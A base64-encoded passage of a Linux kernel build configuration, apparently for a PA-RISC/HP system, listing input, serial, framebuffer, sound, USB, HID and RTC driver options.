RklHX0lTRE4gaXMgbm90IHNldAojIENPTkZJR19QSE9ORSBpcyBub3Qgc2V0CgojCiMgSW5wdXQg
ZGV2aWNlIHN1cHBvcnQKIwpDT05GSUdfSU5QVVQ9eQojIENPTkZJR19JTlBVVF9GRl9NRU1MRVNT
IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfUE9MTERFViBpcyBub3Qgc2V0CgojCiMgVXNlcmxh
bmQgaW50ZXJmYWNlcwojCkNPTkZJR19JTlBVVF9NT1VTRURFVj15CkNPTkZJR19JTlBVVF9NT1VT
RURFVl9QU0FVWD15CkNPTkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWD0xMDI0CkNPTkZJR19J
TlBVVF9NT1VTRURFVl9TQ1JFRU5fWT03NjgKIyBDT05GSUdfSU5QVVRfSk9ZREVWIGlzIG5vdCBz
ZXQKQ09ORklHX0lOUFVUX0VWREVWPXkKIyBDT05GSUdfSU5QVVRfRVZCVUcgaXMgbm90IHNldAoK
IwojIElucHV0IERldmljZSBEcml2ZXJzCiMKQ09ORklHX0lOUFVUX0tFWUJPQVJEPXkKIyBDT05G
SUdfS0VZQk9BUkRfQVRLQkQgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9TVU5LQkQgaXMg
bm90IHNldAojIENPTkZJR19LRVlCT0FSRF9MS0tCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJP
QVJEX1hUS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfTkVXVE9OIGlzIG5vdCBzZXQK
IyBDT05GSUdfS0VZQk9BUkRfU1RPV0FXQVkgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9I
SUxfT0xEIGlzIG5vdCBzZXQKQ09ORklHX0tFWUJPQVJEX0hJTD15CkNPTkZJR19JTlBVVF9NT1VT
RT15CiMgQ09ORklHX01PVVNFX1BTMiBpcyBub3Qgc2V0CiMgQ09ORklHX01PVVNFX1NFUklBTCBp
cyBub3Qgc2V0CiMgQ09ORklHX01PVVNFX0FQUExFVE9VQ0ggaXMgbm90IHNldAojIENPTkZJR19N
T1VTRV9CQ001OTc0IGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0VfVlNYWFhBQSBpcyBub3Qgc2V0
CkNPTkZJR19NT1VTRV9ISUw9eQojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0CiMg
Q09ORklHX0lOUFVUX1RBQkxFVCBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1RPVUNIU0NSRUVO
IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfTUlTQyBpcyBub3Qgc2V0CgojCiMgSGFyZHdhcmUg
SS9PIHBvcnRzCiMKQ09ORklHX1NFUklPPXkKIyBDT05GSUdfU0VSSU9fU0VSUE9SVCBpcyBub3Qg
c2V0CiMgQ09ORklHX1NFUklPX0dTQ1BTMiBpcyBub3Qgc2V0CkNPTkZJR19IUF9TREM9eQpDT05G
SUdfSElMX01MQz15CiMgQ09ORklHX1NFUklPX1BDSVBTMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
UklPX1JBVyBpcyBub3Qgc2V0CiMgQ09ORklHX0dBTUVQT1JUIGlzIG5vdCBzZXQKCiMKIyBDaGFy
YWN0ZXIgZGV2aWNlcwojCkNPTkZJR19WVD15CkNPTkZJR19DT05TT0xFX1RSQU5TTEFUSU9OUz15
CkNPTkZJR19WVF9DT05TT0xFPXkKQ09ORklHX0hXX0NPTlNPTEU9eQojIENPTkZJR19WVF9IV19D
T05TT0xFX0JJTkRJTkcgaXMgbm90IHNldApDT05GSUdfREVWS01FTT15CiMgQ09ORklHX1NFUklB
TF9OT05TVEFOREFSRCBpcyBub3Qgc2V0CiMgQ09ORklHX05PWk9NSSBpcyBub3Qgc2V0CgojCiMg
U2VyaWFsIGRyaXZlcnMKIwpDT05GSUdfU0VSSUFMXzgyNTA9eQpDT05GSUdfU0VSSUFMXzgyNTBf
Q09OU09MRT15CkNPTkZJR19TRVJJQUxfODI1MF9HU0M9eQpDT05GSUdfU0VSSUFMXzgyNTBfUENJ
PXkKQ09ORklHX1NFUklBTF84MjUwX05SX1VBUlRTPTQKQ09ORklHX1NFUklBTF84MjUwX1JVTlRJ
TUVfVUFSVFM9NAojIENPTkZJR19TRVJJQUxfODI1MF9FWFRFTkRFRCBpcyBub3Qgc2V0CgojCiMg
Tm9uLTgyNTAgc2VyaWFsIHBvcnQgc3VwcG9ydAojCiMgQ09ORklHX1NFUklBTF9NVVggaXMgbm90
IHNldAojIENPTkZJR19QRENfQ09OU09MRSBpcyBub3Qgc2V0CkNPTkZJR19TRVJJQUxfQ09SRT15
CkNPTkZJR19TRVJJQUxfQ09SRV9DT05TT0xFPXkKIyBDT05GSUdfU0VSSUFMX0pTTSBpcyBub3Qg
c2V0CkNPTkZJR19VTklYOThfUFRZUz15CiMgQ09ORklHX0RFVlBUU19NVUxUSVBMRV9JTlNUQU5D
RVMgaXMgbm90IHNldApDT05GSUdfTEVHQUNZX1BUWVM9eQpDT05GSUdfTEVHQUNZX1BUWV9DT1VO
VD0yNTYKIyBDT05GSUdfSVBNSV9IQU5ETEVSIGlzIG5vdCBzZXQKIyBDT05GSUdfSFdfUkFORE9N
IGlzIG5vdCBzZXQKIyBDT05GSUdfUjM5NjQgaXMgbm90IHNldAojIENPTkZJR19BUFBMSUNPTSBp
cyBub3Qgc2V0CiMgQ09ORklHX1JBV19EUklWRVIgaXMgbm90IHNldAojIENPTkZJR19UQ0dfVFBN
IGlzIG5vdCBzZXQKQ09ORklHX0RFVlBPUlQ9eQojIENPTkZJR19JMkMgaXMgbm90IHNldAojIENP
TkZJR19TUEkgaXMgbm90IHNldAojIENPTkZJR19XMSBpcyBub3Qgc2V0CiMgQ09ORklHX1BPV0VS
X1NVUFBMWSBpcyBub3Qgc2V0CiMgQ09ORklHX0hXTU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfVEhF
Uk1BTCBpcyBub3Qgc2V0CiMgQ09ORklHX1RIRVJNQUxfSFdNT04gaXMgbm90IHNldAojIENPTkZJ
R19XQVRDSERPRyBpcyBub3Qgc2V0CkNPTkZJR19TU0JfUE9TU0lCTEU9eQoKIwojIFNvbmljcyBT
aWxpY29uIEJhY2twbGFuZQojCiMgQ09ORklHX1NTQiBpcyBub3Qgc2V0CgojCiMgTXVsdGlmdW5j
dGlvbiBkZXZpY2UgZHJpdmVycwojCiMgQ09ORklHX01GRF9DT1JFIGlzIG5vdCBzZXQKIyBDT05G
SUdfTUZEX1NNNTAxIGlzIG5vdCBzZXQKIyBDT05GSUdfSFRDX1BBU0lDMyBpcyBub3Qgc2V0CiMg
Q09ORklHX01GRF9UTUlPIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVHVUxBVE9SIGlzIG5vdCBzZXQK
CiMKIyBNdWx0aW1lZGlhIGRldmljZXMKIwoKIwojIE11bHRpbWVkaWEgY29yZSBzdXBwb3J0CiMK
IyBDT05GSUdfVklERU9fREVWIGlzIG5vdCBzZXQKIyBDT05GSUdfRFZCX0NPUkUgaXMgbm90IHNl
dAojIENPTkZJR19WSURFT19NRURJQSBpcyBub3Qgc2V0CgojCiMgTXVsdGltZWRpYSBkcml2ZXJz
CiMKIyBDT05GSUdfREFCIGlzIG5vdCBzZXQKCiMKIyBHcmFwaGljcyBzdXBwb3J0CiMKIyBDT05G
SUdfQUdQIGlzIG5vdCBzZXQKIyBDT05GSUdfRFJNIGlzIG5vdCBzZXQKIyBDT05GSUdfVkdBU1RB
VEUgaXMgbm90IHNldAojIENPTkZJR19WSURFT19PVVRQVVRfQ09OVFJPTCBpcyBub3Qgc2V0CkNP
TkZJR19GQj15CiMgQ09ORklHX0ZJUk1XQVJFX0VESUQgaXMgbm90IHNldAojIENPTkZJR19GQl9E
REMgaXMgbm90IHNldAojIENPTkZJR19GQl9CT09UX1ZFU0FfU1VQUE9SVCBpcyBub3Qgc2V0CkNP
TkZJR19GQl9DRkJfRklMTFJFQ1Q9eQpDT05GSUdfRkJfQ0ZCX0NPUFlBUkVBPXkKQ09ORklHX0ZC
X0NGQl9JTUFHRUJMSVQ9eQojIENPTkZJR19GQl9DRkJfUkVWX1BJWEVMU19JTl9CWVRFIGlzIG5v
dCBzZXQKIyBDT05GSUdfRkJfU1lTX0ZJTExSRUNUIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU1lT
X0NPUFlBUkVBIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU1lTX0lNQUdFQkxJVCBpcyBub3Qgc2V0
CiMgQ09ORklHX0ZCX0ZPUkVJR05fRU5ESUFOIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU1lTX0ZP
UFMgaXMgbm90IHNldAojIENPTkZJR19GQl9TVkdBTElCIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJf
TUFDTU9ERVMgaXMgbm90IHNldAojIENPTkZJR19GQl9CQUNLTElHSFQgaXMgbm90IHNldAojIENP
TkZJR19GQl9NT0RFX0hFTFBFUlMgaXMgbm90IHNldAojIENPTkZJR19GQl9USUxFQkxJVFRJTkcg
aXMgbm90IHNldAoKIwojIEZyYW1lIGJ1ZmZlciBoYXJkd2FyZSBkcml2ZXJzCiMKIyBDT05GSUdf
RkJfQ0lSUlVTIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUE0yIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfQ1lCRVIyMDAwIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVNJTElBTlQgaXMgbm90IHNldAoj
IENPTkZJR19GQl9JTVNUVCBpcyBub3Qgc2V0CkNPTkZJR19GQl9TVEk9eQojIENPTkZJR19GQl9T
MUQxM1hYWCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX05WSURJQSBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX1JJVkEgaXMgbm90IHNldAojIENPTkZJR19GQl9NQVRST1ggaXMgbm90IHNldAojIENPTkZJ
R19GQl9SQURFT04gaXMgbm90IHNldAojIENPTkZJR19GQl9BVFkxMjggaXMgbm90IHNldAojIENP
TkZJR19GQl9BVFkgaXMgbm90IHNldAojIENPTkZJR19GQl9TMyBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX1NBVkFHRSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1NJUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX1ZJQSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX05FT01BR0lDIGlzIG5vdCBzZXQKIyBDT05G
SUdfRkJfS1lSTyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCXzNERlggaXMgbm90IHNldAojIENPTkZJ
R19GQl9WT09ET08xIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVlQ4NjIzIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfVFJJREVOVCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FSSyBpcyBub3Qgc2V0CiMg
Q09ORklHX0ZCX1BNMyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0NBUk1JTkUgaXMgbm90IHNldAoj
IENPTkZJR19GQl9WSVJUVUFMIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfTUVUUk9OT01FIGlzIG5v
dCBzZXQKIyBDT05GSUdfRkJfTUI4NjJYWCBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tMSUdIVF9M
Q0RfU1VQUE9SVCBpcyBub3Qgc2V0CgojCiMgRGlzcGxheSBkZXZpY2Ugc3VwcG9ydAojCiMgQ09O
RklHX0RJU1BMQVlfU1VQUE9SVCBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkaXNwbGF5IGRyaXZl
ciBzdXBwb3J0CiMKQ09ORklHX0RVTU1ZX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09MRV9D
T0xVTU5TPTE2MApDT05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTY0CiMgQ09ORklHX0ZSQU1FQlVG
RkVSX0NPTlNPTEUgaXMgbm90IHNldApDT05GSUdfU1RJX0NPTlNPTEU9eQojIENPTkZJR19GT05U
UyBpcyBub3Qgc2V0CkNPTkZJR19GT05UXzh4OD15CkNPTkZJR19GT05UXzh4MTY9eQpDT05GSUdf
TE9HTz15CiMgQ09ORklHX0xPR09fTElOVVhfTU9OTyBpcyBub3Qgc2V0CiMgQ09ORklHX0xPR09f
TElOVVhfVkdBMTYgaXMgbm90IHNldAojIENPTkZJR19MT0dPX0xJTlVYX0NMVVQyMjQgaXMgbm90
IHNldApDT05GSUdfTE9HT19QQVJJU0NfQ0xVVDIyND15CkNPTkZJR19TT1VORD15CiMgQ09ORklH
X1NPVU5EX09TU19DT1JFIGlzIG5vdCBzZXQKQ09ORklHX1NORD15CkNPTkZJR19TTkRfVElNRVI9
eQpDT05GSUdfU05EX1BDTT15CiMgQ09ORklHX1NORF9TRVFVRU5DRVIgaXMgbm90IHNldAojIENP
TkZJR19TTkRfTUlYRVJfT1NTIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1BDTV9PU1MgaXMgbm90
IHNldAojIENPTkZJR19TTkRfRFlOQU1JQ19NSU5PUlMgaXMgbm90IHNldAojIENPTkZJR19TTkRf
U1VQUE9SVF9PTERfQVBJIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1ZFUkJPU0VfUFJPQ0ZTIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX1ZFUkJPU0VfUFJJTlRLIGlzIG5vdCBzZXQKIyBDT05GSUdf
U05EX0RFQlVHIGlzIG5vdCBzZXQKQ09ORklHX1NORF9WTUFTVEVSPXkKQ09ORklHX1NORF9BQzk3
X0NPREVDPXkKIyBDT05GSUdfU05EX0RSSVZFUlMgaXMgbm90IHNldApDT05GSUdfU05EX1BDST15
CkNPTkZJR19TTkRfQUQxODg5PXkKIyBDT05GSUdfU05EX0FMUzMwMCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NORF9BTEk1NDUxIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0FUSUlYUCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NORF9BVElJWFBfTU9ERU0gaXMgbm90IHNldAojIENPTkZJR19TTkRfQVU4ODEw
IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0FVODgyMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9B
VTg4MzAgaXMgbm90IHNldAojIENPTkZJR19TTkRfQVcyIGlzIG5vdCBzZXQKIyBDT05GSUdfU05E
X0FaVDMzMjggaXMgbm90IHNldAojIENPTkZJR19TTkRfQlQ4N1ggaXMgbm90IHNldAojIENPTkZJ
R19TTkRfQ0EwMTA2IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0NNSVBDSSBpcyBub3Qgc2V0CiMg
Q09ORklHX1NORF9PWFlHRU4gaXMgbm90IHNldAojIENPTkZJR19TTkRfQ1M0MjgxIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU05EX0NTNDZYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9EQVJMQTIwIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX0dJTkEyMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9MQVlM
QTIwIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0RBUkxBMjQgaXMgbm90IHNldAojIENPTkZJR19T
TkRfR0lOQTI0IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0xBWUxBMjQgaXMgbm90IHNldAojIENP
TkZJR19TTkRfTU9OQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9NSUEgaXMgbm90IHNldAojIENP
TkZJR19TTkRfRUNITzNHIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0lORElHTyBpcyBub3Qgc2V0
CiMgQ09ORklHX1NORF9JTkRJR09JTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9JTkRJR09ESiBp
cyBub3Qgc2V0CiMgQ09ORklHX1NORF9FTVUxMEsxIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0VN
VTEwSzFYIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0VOUzEzNzAgaXMgbm90IHNldAojIENPTkZJ
R19TTkRfRU5TMTM3MSBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9FUzE5MzggaXMgbm90IHNldAoj
IENPTkZJR19TTkRfRVMxOTY4IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0ZNODAxIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU05EX0hEQV9JTlRFTCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9IRFNQIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX0hEU1BNIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0hJRklF
UiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9JQ0UxNzEyIGlzIG5vdCBzZXQKIyBDT05GSUdfU05E
X0lDRTE3MjQgaXMgbm90IHNldAojIENPTkZJR19TTkRfSU5URUw4WDAgaXMgbm90IHNldAojIENP
TkZJR19TTkRfSU5URUw4WDBNIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0tPUkcxMjEyIGlzIG5v
dCBzZXQKIyBDT05GSUdfU05EX01BRVNUUk8zIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX01JWEFS
VCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9OTTI1NiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9Q
Q1hIUiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9SSVBUSURFIGlzIG5vdCBzZXQKIyBDT05GSUdf
U05EX1JNRTMyIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1JNRTk2IGlzIG5vdCBzZXQKIyBDT05G
SUdfU05EX1JNRTk2NTIgaXMgbm90IHNldAojIENPTkZJR19TTkRfU09OSUNWSUJFUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NORF9UUklERU5UIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1ZJQTgyWFgg
aXMgbm90IHNldAojIENPTkZJR19TTkRfVklBODJYWF9NT0RFTSBpcyBub3Qgc2V0CiMgQ09ORklH
X1NORF9WSVJUVU9TTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9WWDIyMiBpcyBub3Qgc2V0CiMg
Q09ORklHX1NORF9ZTUZQQ0kgaXMgbm90IHNldApDT05GSUdfU05EX1VTQj15CiMgQ09ORklHX1NO
RF9VU0JfQVVESU8gaXMgbm90IHNldAojIENPTkZJR19TTkRfVVNCX0NBSUFRIGlzIG5vdCBzZXQK
IyBDT05GSUdfU05EX0dTQyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9TT0MgaXMgbm90IHNldAoj
IENPTkZJR19TT1VORF9QUklNRSBpcyBub3Qgc2V0CkNPTkZJR19BQzk3X0JVUz15CkNPTkZJR19I
SURfU1VQUE9SVD15CkNPTkZJR19ISUQ9eQpDT05GSUdfSElEX0RFQlVHPXkKIyBDT05GSUdfSElE
UkFXIGlzIG5vdCBzZXQKCiMKIyBVU0IgSW5wdXQgRGV2aWNlcwojCkNPTkZJR19VU0JfSElEPXkK
IyBDT05GSUdfSElEX1BJRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9ISURERVYgaXMgbm90IHNl
dAoKIwojIFNwZWNpYWwgSElEIGRyaXZlcnMKIwpDT05GSUdfSElEX0NPTVBBVD15CkNPTkZJR19I
SURfQTRURUNIPXkKQ09ORklHX0hJRF9BUFBMRT15CkNPTkZJR19ISURfQkVMS0lOPXkKQ09ORklH
X0hJRF9DSEVSUlk9eQpDT05GSUdfSElEX0NISUNPTlk9eQpDT05GSUdfSElEX0NZUFJFU1M9eQpD
T05GSUdfSElEX0VaS0VZPXkKQ09ORklHX0hJRF9HWVJBVElPTj15CkNPTkZJR19ISURfTE9HSVRF
Q0g9eQojIENPTkZJR19MT0dJVEVDSF9GRiBpcyBub3Qgc2V0CiMgQ09ORklHX0xPR0lSVU1CTEVQ
QUQyX0ZGIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9NSUNST1NPRlQ9eQpDT05GSUdfSElEX01PTlRF
UkVZPXkKQ09ORklHX0hJRF9OVFJJRz15CkNPTkZJR19ISURfUEFOVEhFUkxPUkQ9eQojIENPTkZJ
R19QQU5USEVSTE9SRF9GRiBpcyBub3Qgc2V0CkNPTkZJR19ISURfUEVUQUxZTlg9eQpDT05GSUdf
SElEX1NBTVNVTkc9eQpDT05GSUdfSElEX1NPTlk9eQpDT05GSUdfSElEX1NVTlBMVVM9eQojIENP
TkZJR19HUkVFTkFTSUFfRkYgaXMgbm90IHNldApDT05GSUdfSElEX1RPUFNFRUQ9eQojIENPTkZJ
R19USFJVU1RNQVNURVJfRkYgaXMgbm90IHNldAojIENPTkZJR19aRVJPUExVU19GRiBpcyBub3Qg
c2V0CkNPTkZJR19VU0JfU1VQUE9SVD15CkNPTkZJR19VU0JfQVJDSF9IQVNfSENEPXkKQ09ORklH
X1VTQl9BUkNIX0hBU19PSENJPXkKQ09ORklHX1VTQl9BUkNIX0hBU19FSENJPXkKQ09ORklHX1VT
Qj15CiMgQ09ORklHX1VTQl9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9BTk5PVU5DRV9O
RVdfREVWSUNFUyBpcyBub3Qgc2V0CgojCiMgTWlzY2VsbGFuZW91cyBVU0Igb3B0aW9ucwojCiMg
Q09ORklHX1VTQl9ERVZJQ0VGUyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9ERVZJQ0VfQ0xBU1Mg
aXMgbm90IHNldAojIENPTkZJR19VU0JfRFlOQU1JQ19NSU5PUlMgaXMgbm90IHNldAojIENPTkZJ
R19VU0JfT1RHIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX01PTiBpcyBub3Qgc2V0CiMgQ09ORklH
X1VTQl9XVVNCIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1dVU0JfQ0JBRiBpcyBub3Qgc2V0Cgoj
CiMgVVNCIEhvc3QgQ29udHJvbGxlciBEcml2ZXJzCiMKIyBDT05GSUdfVVNCX0M2N1gwMF9IQ0Qg
aXMgbm90IHNldApDT05GSUdfVVNCX0VIQ0lfSENEPXkKIyBDT05GSUdfVVNCX0VIQ0lfUk9PVF9I
VUJfVFQgaXMgbm90IHNldAojIENPTkZJR19VU0JfRUhDSV9UVF9ORVdTQ0hFRCBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9PWFUyMTBIUF9IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVNQMTE2
WF9IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVNQMTc2MF9IQ0QgaXMgbm90IHNldApDT05G
SUdfVVNCX09IQ0lfSENEPXkKIyBDT05GSUdfVVNCX09IQ0lfQklHX0VORElBTl9ERVNDIGlzIG5v
dCBzZXQKIyBDT05GSUdfVVNCX09IQ0lfQklHX0VORElBTl9NTUlPIGlzIG5vdCBzZXQKQ09ORklH
X1VTQl9PSENJX0xJVFRMRV9FTkRJQU49eQojIENPTkZJR19VU0JfVUhDSV9IQ0QgaXMgbm90IHNl
dAojIENPTkZJR19VU0JfU0w4MTFfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1I4QTY2NTk3
X0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9XSENJX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklH
X1VTQl9IV0FfSENEIGlzIG5vdCBzZXQKCiMKIyBVU0IgRGV2aWNlIENsYXNzIGRyaXZlcnMKIwoj
IENPTkZJR19VU0JfQUNNIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1BSSU5URVIgaXMgbm90IHNl
dAojIENPTkZJR19VU0JfV0RNIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1RNQyBpcyBub3Qgc2V0
CgojCiMgTk9URTogVVNCX1NUT1JBR0UgZGVwZW5kcyBvbiBTQ1NJIGJ1dCBCTEtfREVWX1NEIG1h
eSBhbHNvIGJlIG5lZWRlZDsKIwoKIwojIHNlZSBVU0JfU1RPUkFHRSBIZWxwIGZvciBtb3JlIGlu
Zm9ybWF0aW9uCiMKIyBDT05GSUdfVVNCX1NUT1JBR0UgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
TElCVVNVQUwgaXMgbm90IHNldAoKIwojIFVTQiBJbWFnaW5nIGRldmljZXMKIwojIENPTkZJR19V
U0JfTURDODAwIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX01JQ1JPVEVLIGlzIG5vdCBzZXQKCiMK
IyBVU0IgcG9ydCBkcml2ZXJzCiMKIyBDT05GSUdfVVNCX1NFUklBTCBpcyBub3Qgc2V0CgojCiMg
VVNCIE1pc2NlbGxhbmVvdXMgZHJpdmVycwojCiMgQ09ORklHX1VTQl9FTUk2MiBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9FTUkyNiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9BRFVUVVggaXMgbm90
IHNldAojIENPTkZJR19VU0JfU0VWU0VHIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1JJTzUwMCBp
cyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MRUdPVE9XRVIgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
TENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0JFUlJZX0NIQVJHRSBpcyBub3Qgc2V0CiMgQ09O
RklHX1VTQl9MRUQgaXMgbm90IHNldAojIENPTkZJR19VU0JfQ1lQUkVTU19DWTdDNjMgaXMgbm90
IHNldAojIENPTkZJR19VU0JfQ1lUSEVSTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9QSElER0VU
IGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0lETU9VU0UgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
RlRESV9FTEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0FQUExFRElTUExBWSBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9TSVNVU0JWR0EgaXMgbm90IHNldAojIENPTkZJR19VU0JfTEQgaXMgbm90
IHNldAojIENPTkZJR19VU0JfVFJBTkNFVklCUkFUT1IgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
SU9XQVJSSU9SIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0lTSUdIVEZXIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX1ZTVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9HQURHRVQgaXMgbm90IHNldAoK
IwojIE9URyBhbmQgcmVsYXRlZCBpbmZyYXN0cnVjdHVyZQojCiMgQ09ORklHX1VXQiBpcyBub3Qg
c2V0CiMgQ09ORklHX01NQyBpcyBub3Qgc2V0CiMgQ09ORklHX01FTVNUSUNLIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkVXX0xFRFMgaXMgbm90IHNldAojIENPTkZJR19BQ0NFU1NJQklMSVRZIGlzIG5v
dCBzZXQKIyBDT05GSUdfSU5GSU5JQkFORCBpcyBub3Qgc2V0CkNPTkZJR19SVENfTElCPXkKQ09O
RklHX1JUQ19DTEFTUz15CkNPTkZJR19SVENfSENUT1NZUz15CkNPTkZJR19SVENfSENUT1NZU19E
RVZJQ0U9InJ0YzAiCiMgQ09ORklHX1JUQ19ERUJVRyBpcyBub3Qgc2V0CgojCiMgUlRDIGludGVy
ZmFjZXMKIwpDT05GSUdfUlRDX0lOVEZfU1lTRlM9eQpDT05GSUdfUlRDX0lOVEZfUFJPQz15CkNP
TkZJR19SVENfSU5URl9ERVY9eQojIENPTkZJR19SVENfSU5URl9ERVZfVUlFX0VNVUwgaXMgbm90
IHNldAojIENPTkZJR19SVENfRFJWX1RFU1QgaXMgbm90IHNldAoKIwojIFNQSSBSVEMgZHJpdmVy
cwojCgojCiMgUGxhdGZvcm0gUlRDIGRyaXZlcnMKIwojIENPTkZJR19SVENfRFJWX0RTMTI4NiBp
cyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfRFMxNTExIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRD
X0RSVl9EUzE1NTMgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0RTMTc0MiBpcyBub3Qgc2V0
CiMgQ09ORklHX1JUQ19EUlZfU1RLMTdUQTggaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX000
OFQ4NiBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfTTQ4VDM1IGlzIG5vdCBzZXQKIyBDT05G
SUdfUlRDX0RSVl9NNDhUNTkgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0JRNDgwMiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfVjMwMjAgaXMgbm90IHNldAoKIwojIG9uLUNQVSBSVEMg
ZHJpdmVycwojCkNPTkZJR19SVENfRFJWX1BBUklTQz15CiMgQ09ORklHX0RNQURFVklDRVMgaXMg
bm90IHNldAojIENPTkZJR19VSU8gaXMgbm90IHNldAojIENPTkZJR19TVEFHSU5HIGlzIG5vdCBz
ZXQKCiMKIyBGaWxlIHN5c3RlbXMKIwojIENPTkZJR19FWFQyX0ZTIGlzIG5vdCBzZXQKQ09ORklH
X0VYVDNfRlM9eQojIENPTkZJR19FWFQzX0ZTX1hBVFRSIGlzIG5vdCBzZXQKIyBDT05GSUdfRVhU
